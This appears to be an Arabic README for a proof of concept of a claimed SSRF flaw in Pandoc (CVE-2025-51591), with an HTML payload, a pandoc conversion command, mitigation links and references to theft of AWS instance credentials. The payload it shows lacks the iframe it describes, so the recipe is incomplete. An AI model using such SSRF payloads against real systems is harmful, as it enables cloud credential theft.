إثبات المفهوم (POC) لثغرة SSRF في Pandoc CVE-2025-51591

تتيح ثغرة تزوير الطلبات من جانب الخادم (SSRF) في JGM Pandoc الإصدار 3.6.4 للمهاجمين الوصول إلى البنية التحتية بالكامل واختراقها عبر حقن iframe مُعدّ بعناية.

تثبيت Pandoc

https://pandoc.org/installing.html

مثال على الـ Payload

⚠️ استبدل رابط iframe برابط OAST الخاص بك. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

تحويل الحمولة إلى PDF باستخدام Pandoc

pandoc payload.html -o output1.pdf

استراتيجيات التخفيف

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

المراجع

المخترقون يستغلون Pandoc CVE-2025-51591 لاستهداف AWS IMDS وسرقة بيانات اعتماد EC2 IAM
إساءة استخدام IMDS: اصطياد السلوكيات النادرة لكشف الاستغلالات
SSRF عند إنشاء ملفات PDF من HTML يتحكم فيه المستخدم

CVE-2025-51591-Pandoc-SSRF-POC

الأكثر شعبية